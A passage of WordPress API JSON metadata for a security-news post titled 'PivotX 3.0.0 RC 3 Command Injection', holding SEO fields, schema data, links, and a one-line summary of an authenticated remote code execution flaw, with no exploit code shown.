Injection_PACKETSTORM:215634\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41047","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:14:20&#8243;,&#8221;description&#8221;:&#8221;PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability that allows administrative users to modify PHP files...","og_url":"https:\/\/zero.redgem.net\/?p=41047","og_site_name":"zero redgem","article_published_time":"2026-02-16T11:45:48+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41047#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41047"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634","datePublished":"2026-02-16T11:45:48+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41047"},"wordCount":2348,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-5.4","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41047#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41047","url":"https:\/\/zero.redgem.net\/?p=41047","name":"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T11:45:48+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41047#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41047"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41047#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41047","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41047"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41047\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}